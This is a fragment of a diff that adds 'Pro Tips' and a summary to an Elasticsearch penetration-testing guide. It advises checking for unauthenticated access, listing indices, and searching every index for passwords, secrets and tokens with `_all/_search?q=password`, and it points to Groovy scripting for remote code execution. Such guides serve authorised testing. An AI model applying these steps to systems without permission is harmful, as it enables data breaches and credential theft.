print(f'{name}: {count} docs, {size}')
|
|
210
|
+
"
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Pro Tips
|
|
215
|
+
|
|
216
|
+
1. Elasticsearch 7.x and below have no authentication by default — check immediately
|
|
217
|
+
2. List indices first (`_cat/indices?v`) to identify the most valuable data before extracting
|
|
218
|
+
3. Search for sensitive keywords across all indices: `_all/_search?q=password`
|
|
219
|
+
4. Kibana on port 5601 often has weaker security than the ES API itself
|
|
220
|
+
5. Ingest pipelines may contain webhook URLs, credentials, or API keys
|
|
221
|
+
6. Snapshot repositories may point to S3 buckets — check for accessible backup files
|
|
222
|
+
7. Groovy scripting (ES 1.x/2.x) is completely unprotected — immediate RCE
|
|
223
|
+
|
|
224
|
+
## Summary
|
|
225
|
+
|
|
226
|
+
Elasticsearch testing = unauthenticated access check + `_cat/indices` listing + targeted data extraction via `_search`. Open Elasticsearch instances are the most common cause of massive data breaches. Always enumerate indices by name, extract mappings to understand the schema, then target sensitive indices (users, payments, logs). Search for `password`, `secret`, `token` across all indices with `_all/_search?q=password`.
|